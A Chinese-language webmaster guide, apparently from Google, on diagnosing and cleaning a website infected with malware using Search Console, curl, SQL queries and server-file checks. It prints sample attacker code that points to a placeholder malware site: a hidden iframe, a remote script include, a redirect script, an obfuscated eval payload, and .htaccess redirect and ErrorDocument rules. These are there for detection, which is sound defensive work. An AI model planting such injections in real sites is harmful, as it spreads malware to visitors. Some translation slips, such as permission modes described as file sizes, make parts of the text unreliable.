遭到恶意软件入侵

恶意软件是指符合以下特征的所有软件或移动应用:蓄意危害计算机、移动设备、计算机/移动设备上运行的软件或计算机/移动设备用户。如需详细了解什么是恶意软件,请参阅恶意软件和垃圾软件

如果您的网站包含恶意软件,用户通常会在搜索结果中看到“此网站可能会损害您的计算机”警告,或者在尝试访问您的网站时,浏览器会显示插页式警告页面,内容如下所示:

代表性恶意软件插页式页面
包含恶意软件警告的搜索结果。

您需要具备以下几项:

  • 对您网站的服务器(网站、数据库和文件)具有 shell 或终端管理员访问权限。
  • 了解 shell 或终端命令。
  • 能够对数据库运行 SQL 查询。

准备工作

  • 注册 Search Console,然后按照其中的说明验证您遭到入侵的网站的所有权。Search Console 会提供受影响网页的示例,以便您更轻松地查找和修复遭到黑客入侵并植入恶意软件的问题。此外,如果系统检测到您的网站受到多种类型的恶意软件或其他入侵行为的影响,也会向您发出警告。
  • 您可以访问 Google 安全浏览诊断页面,查看有关某个网站是否可能对用户造成危害的公开信息。您可以访问类似以下网址查看网页或网站的商品详情状态:https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***例如:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> 可以是特定网页网址 (http://example.com/badpage),也可以是整个网站 (example.com)。

  • 避免使用浏览器查看您网站上的网页。恶意软件通常会利用浏览器漏洞进行传播,因此在浏览器中打开感染恶意软件的网页可能会损坏计算机。除非诊断说明指示您直接在浏览器中访问网页,否则请使用 cURLWget 发出 HTTP 请求(例如,抓取网页)。

    这些免费提供的工具有助于诊断重定向,并且能够灵活地包含引荐来源网址或用户代理信息。添加特定的引荐来源或用户代理有助于模仿黑客,因为黑客可能只会向使用特定用户代理或引荐来源的用户投放恶意内容,以便定位到更多“真人”并避免被网站所有者和恶意软件扫描程序检测到。

`curl -v --referer "http://www.google.com" <your-url>`

以下示例同时指定了用户代理和引荐来源:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

我们建议同时提取启用和未启用 --referer "https://www.google.com" 的网页,因为某些恶意软件仅在用户来自 Google 搜索结果时才会激活。

  • 创建一个文档,用来记录此步骤中发现的内容。该文档最终将至少包含每个损坏文件的名称和位置,以及有关其感染方式的备注,并将作为清理和维护您的网站的基础。

  • 请观看本页面上方显示的视频,了解恶意软件的运作方式,以及如何在调查恶意软件时确保安全。

诊断

确定哪种恶意软件正在影响您的网站:

  1. 在 Search Console 中打开您网站的“安全问题”报告。展开恶意软件警告的说明,查看受影响网页的示例列表。 请注意,此列表并非详尽无遗;您可能不会看到您网站上所有类型恶意软件的示例网页。
  2. 请测试您的示例网页是否存在以下类型的恶意软件。

服务器配置恶意软件(不必要的重定向)

黑客已入侵了您的网站,并且正在将访问者从您的正常网站重定向到黑客的恶意软件攻击性网站。黑客可能修改了您服务器的配置文件。服务器配置文件通常允许网站管理员为网站上的特定网页或目录指定网址重定向。例如,在 Apache 服务器上,配置文件即是 .htaccess 文件以及 httpd.conf

诊断

访问“安全问题”报告中显示的一些示例网址。如果网页出现了“服务器配置”类型的感染,它所返回的响应可能会包含以下标头:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

确定受影响的文件

通过外壳或终端访问权限登录您的服务器(如果需要,您可以使网站处于离线状态),然后查看相关的服务器配置文件。您的网站上可能会有多个已被黑客入侵的服务器配置文件。请检查这些文件中是否有诸如重定向到未知网站之类的垃圾指令。例如,在 .htaccess` 文件中,您可能会看到如下所示的重定向:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL 注入

黑客已入侵了您网站的数据库。例如,黑客可能已通过编程方式在数据库表的每条记录中插入了恶意代码;如果服务器加载的网页需要使用来自数据库的信息,恶意代码就会嵌入到此网页的内容中,并可能会危害网站访问者。

诊断

  1. 在命令行中对受影响的网址运行一些查询,并检查这些网址会如何响应 SQL 攻击字词(例如“iframe”或“eval”)。
  2. 登录您的数据库服务器或者通过工具(例如 phpMyAdmin)查看您的数据库。如果您使用了 Wget 或者 c网址,请尝试通过 Wget 或者 c网址 弄清网页源代码中显示的破坏程度与实际的数据库条目之间的关联。例如,如果您发现网页包含危险的 iframe,可以执行 SQL 查询来搜索 iframe 代码。例如:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
  3. 此外,您可能还需要查看服务器上的数据库日志和错误文件,看看是否存在异常活动,例如错误或对于一般用户来说看起来不太正常的 SQL 命令。

解决问题

您既可逐个更新每条受感染的数据库记录,也可恢复为最近的已知数据库备份。

代码注入

您网站上的网页已被修改为包含恶意代码,例如指向恶意软件攻击网站的 iframe。

诊断

使用 c网址 或 wGet 访问“安全问题”报告中显示的一些示例网址,并检查是否存在可疑代码。注入的代码有多种类型,并且可能很难找到。搜索“iframe”等字词可能有助于找出 iframe 代码。其他实用的关键字还包括“script”、“eval”和“unescape”。例如,要在基于 Unix 的系统上搜索“iframe”对应的所有文件,请使用以下代码:

$grep -irn "iframe" ./ | less</pre>

以下是一些常见的恶意软件模式。

会加载恶意网站的 iframe:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

会从攻击性网站调用脚本并运行这些脚本的 JavaScript 或其他脚本语言:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

会将浏览器重定向到攻击性网站的脚本:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;
<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

试图躲避检测的迷惑性恶意代码:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

旨在随机将有害代码写入其他无害脚本的共享对象文件:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

恶意错误模板

用于返回错误消息(如“404 未找到文件”)的模板被配置为传播恶意软件。利用这种方式,攻击者甚至可以通过您网站上不存在的网址发起攻击。

诊断

请求您网站上不存在的或会引发另一类错误的网页,并检查相关响应以查看它是来自另一网站还是包含恶意软件。

解决问题

登录您的网络服务器,然后在服务器配置文件中搜索错误网页指令。例如,Apache 网络服务器的错误模板可在 .htaccess 文件中进行声明。下面是一个 .htaccess 文件条目示例,它会从恶意网站检索 404 错误网页:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

为清理网站做好准备后,您既可将 .htaccess 文件替换为已知的正常备份文件,也可删除原有的 .htaccess 文件中的恶意 ErrorDocument 指令。此外,请务必清理实际错误文件(如果您的网站上有这些文件)。最后,请重启您的网络服务器以确保所有更改生效。

从被入侵或恶意网站加载资源 {compromised-resources}

您的网站使用了某个已知包含恶意内容的网站上的内容或资源。这些文件可以是 JavaScript 文件、图片或其他文件。因此,您的网站会因从该其他网站加载恶意软件而被标记。

诊断

访问“安全问题”报告中显示的一些示例网址。

解决问题

  1. 通过转到 Search Console 的“安全问题”报告中列出的一些示例网址来确认问题。您应该会看到浏览器警告。
  2. 浏览器警告会告诉您可疑内容的网域。 移除对浏览器警告中列出的已标记网站的所有引用。如果您网站上包含来自已标记网站的内容,但您并不知道,则表明问题更加严重。您的网站很可能已遭到入侵,您应继续检查自己的网站,看看是否存在其他入侵和漏洞。
  3. 如果您有意添加了被标记为不安全的正规网站上的内容,并且希望在该网站被清理后重新添加这些内容,则可以使用该网站的 Google 安全浏览诊断页面 (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external} 监控该网站的状态。合法网站的所有者通常会快速清理网站。

进一步调查

接下来,检查系统中是否有其他恶意文件或更改。黑客可能会修改现有网页或数据库记录、创建完全新的垃圾网页、编写在干净网页上显示垃圾内容的函数,或者留下“后门”,以便黑客重新进入您的网站,或重新注入您已移除的恶意代码。

如果您的网站处于在线状态,不妨考虑暂时将其下线,以便我们开展调查。

如果您有网站的已知正常备份,请确定备份之后创建或修改了哪些文件,并对其进行调查。在基于 Unix 的系统上,您可以使用类似以下的命令查找新文件:

diff -qr <current-directory> <backup-directory>

例如:

diff -qr www/ backups/full-backup-20120124/

另请注意:

md5sum <current-page> <backup-page>

例如:

md5sum www/page.html backups/full-backup-20120124/page.html

检查服务器、访问和错误日志,看看是否存在任何可疑活动,例如登录失败尝试次数、命令历史记录(尤其是以 root 身份执行的命令)和创建未知用户账号。请注意,黑客可能会出于自己的目的修改这些日志。识别漏洞视频中展示了一些示例。

检查配置文件是否存在重定向。您的配置文件通常命名为 .htaccesshttpd.conf。黑客通常会根据用户代理、时间或引荐来源网址创建条件重定向。如果您需要更新配置文件,则可能需要重启服务器,以使更改生效。

检查文件夹和文件权限是否过于宽松。黑客会篡改权限,因为如果网站所有者没有检测到宽松的权限,黑客将有机会重新进入网站。文件大小超过 644 (rw-r--r--) 和文件夹大小超过 755 (rwxr-xr-x) 可能会导致安全问题。确保所有较宽松的权限均确有必要。在基于 Unix 的系统上,请尝试执行以下操作:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

和:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

如果您有数据库,请使用 phpMyAdmin 等工具逐一调查记录。